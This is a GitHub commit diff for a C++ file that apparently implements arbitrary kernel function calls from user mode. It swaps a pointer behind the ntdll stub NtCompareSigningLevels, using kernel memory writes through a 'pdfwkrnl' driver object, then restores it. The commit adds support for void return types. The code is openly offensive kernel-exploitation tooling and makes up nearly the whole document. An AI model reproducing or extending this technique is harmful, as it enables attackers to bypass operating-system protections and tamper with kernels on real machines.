Update entry.cpp

void function calling shit
This commit is contained in:
dpcpointer
2025-05-28 19:39:07 -06:00
committed by GitHub
parent 608d1e9717
commit 417931e7e2

View File

@@ -27,13 +27,18 @@ T call_kernel_function(const char* function_name, Args... args){
FARPROC NtCompareSigningLevels = GetProcAddress(m_ntdll, "NtCompareSigningLevels");
using FuncPtr = T(__stdcall*)(Args...);
FuncPtr func = reinterpret_cast<FuncPtr>(NtCompareSigningLevels);
T return_value = func(args...);
pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t); // swap back
return return_value;
if constexpr (std::is_void_v<T>) {
auto func = reinterpret_cast<void(__stdcall*)(Args...)>(NtCompareSigningLevels);
func(args...);
pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t)); // swap back
return T{};
}
else {
auto func = reinterpret_cast<FuncPtr>(NtCompareSigningLevels);
T return_value = func(args...);
pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t)); // swap back
return return_value;
}
}
int main() {
@@ -46,4 +51,4 @@ int main() {
pdfwkrnl.detach();
return 0;
}
}